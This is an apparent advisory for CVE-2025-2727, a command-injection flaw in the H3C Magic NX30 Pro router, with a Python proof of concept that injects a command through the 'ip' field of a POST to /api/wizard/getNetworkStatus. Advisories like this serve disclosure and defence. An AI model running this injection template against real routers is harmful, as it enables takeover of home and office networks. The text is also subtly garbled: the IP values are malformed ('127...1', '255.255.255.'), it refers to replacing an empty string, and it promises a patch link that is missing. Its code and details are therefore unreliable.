CVE-2025-2727 - Critical Vulnerability in H3C Magic NX30 Pro up to V100R007: Command Injection using HTTP POST Request

A critical vulnerability has been discovered in the H3C Magic NX30 Pro (versions up to V100R007). This vulnerability has been classified as critical and is related to an unknown part of the file /api/wizard/getNetworkStatus of the HTTP POST Request Handler component. This can lead to command injection, and access to the local network is required for a successful attack. The exploit has been disclosed to the public and may be used. It is recommended that affected users upgrade to the latest version of the software.

Exploit Details

The vulnerability affects an unknown part of the HTTP POST Request Handler component, specifically within the /api/wizard/getNetworkStatus file. By manipulating this particular piece of the file, an attacker can execute commands on the vulnerable system by injecting them into the HTTP POST request.

The following code snippet demonstrates the manipulation of the HTTP POST request, ultimately leading to the injection of malicious commands:

#!/usr/bin/python
import requests

# Change the URL and payload as needed
url = "http://192.168.1.1/api/wizard/getNetworkStatus";
data = {
    "ip": "127...1; <Injected Command>",
    "mask": "255.255.255.",
    "gateway": "192.168.1.1"
}
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

response = requests.post(url, data=data, headers=headers)
print(response.status_code, response.reason)

In this code snippet, an attacker can replace "" with their desired command. This allows an attacker to execute arbitrary commands on the H3C Magic NX30 Pro, potentially compromising the whole network.

The vulnerability was initially disclosed by the following sources

1. CVE-2025-2727
2. H3C Magic NX30 Pro Security Advisory

Mitigation

The vulnerability is present in H3C Magic NX30 Pro versions up to V100R007. If you are using this software, it is strongly advised that you upgrade to the latest available version to protect your network from potential attacks. H3C has released a patch that addresses this vulnerability, which can be downloaded here.

Conclusion

The discovery of this critical vulnerability in H3C Magic NX30 Pro demonstrates the importance of keeping software up-to-date and applying necessary patches. Failure to do so may leave your network vulnerable to attacks by malicious actors who can exploit this vulnerability for nefarious purposes.

Ensure that you upgrade your H3C Magic NX30 Pro software to the latest version to protect your network from potential attacks. Stay informed about security vulnerabilities and take the necessary precautions to safeguard your organization's digital infrastructure.

Timeline

Published on: 03/25/2025 03:15:16 UTC
Last modified on: 04/11/2025 20:15:23 UTC